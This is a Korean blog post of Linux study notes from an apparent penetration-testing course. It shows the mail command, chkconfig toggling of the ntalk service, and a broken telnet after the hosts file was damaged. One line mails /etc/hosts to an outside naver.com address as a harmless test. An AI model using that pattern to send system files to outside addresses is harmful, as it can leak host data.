hell o hell o hell o

& q
Saved 1 message in mbox




[root@linux220 ~]# mail -s "test mail3" root < /etc/hosts
[root@linux220 ~]# mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/spool/mail/root": 5 messages 1 new 5 unread
 U  1 logwatch@linux220.ex  Tue Apr 12 05:44  47/1784  "Logwatch for linux220.example.com (Linux)"
 U  2 logwatch@linux220.ex  Wed Apr 13 02:02 130/4166  "Logwatch for linux220.example.com (Linux)"
 U  3 logwatch@linux220.ex  Thu Apr 14 17:17  88/2979  "Logwatch for linux220.example.com (Linux)"
 U  4 logwatch@linux220.ex  Fri Apr 15 17:16 140/4474  "Logwatch for linux220.example.com (Linux)"
>N  5 root@linux220.exampl  Fri Apr 15 21:46  20/872   "test mail3"
& 5
Message 5:
From root@linux220.example.com  Fri Apr 15 21:46:50 2016
Date: Fri, 15 Apr 2016 21:46:45 +0900
From: root <root@linux220.example.com>
To: root@linux220.example.com
Subject: test mail3

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1               localhost.localdomain   localhost
::1                             localhost6.localdomain6 localhost6
172.16.6.220    linux220.example.com    linux220

& q
Saved 1 message in mbox
Held 4 messages in /var/spool/mail/root




[참고]
# mail -s "OK : linux200" admin@example.com < report.txt

외부 메일 전송
[root@linux220 ~]# mail -s "test mail(EX : linux)" dodogau@naver.com < /etc/hosts
Null message body; hope that's ok


(서비스 설정/확인 방법)
(GUI) # system-config-services (# serviceconf)
(TUI) # ntsysv (# setup)
(CLI) # chkconfig ntalk on

[root@linux220 ~]# chkconfig ntalk off
[root@linux220 ~]# chkconfig --list ntalk (# chkconfig --list | grep ntalk)
ntalk           해제
[root@linux220 ~]# chkconfig ntalk on
[root@linux220 ~]# chkconfig --list ntalk
ntalk           활성
[root@linux220 ~]# service xinetd restart
xinetd 를 정지 중:                                         [  OK  ]
xinetd (을)를 시작 중: 


갑자기 telnet localhost 안먹힘
[root@linux220 ~]# telnet localhost
localhost/telnet: Name or service not known

ntalk 예제실습을 못했음

hosts 파일을 날려먹어서 새로 작업함

telnet 서비스 2개가 활성화되면 충돌이 일어남
하나만 활성, 하나는 해제 시켜놔야함


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160419 리눅스 기초  (0) 2016.04.20
20160418 리눅스 기초  (0) 2016.04.19
20160414 리눅스 기초  (0) 2016.04.15
20160412 리눅스 기초  (0) 2016.04.13
20160411 리눅스 기초  (0) 2016.04.12
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함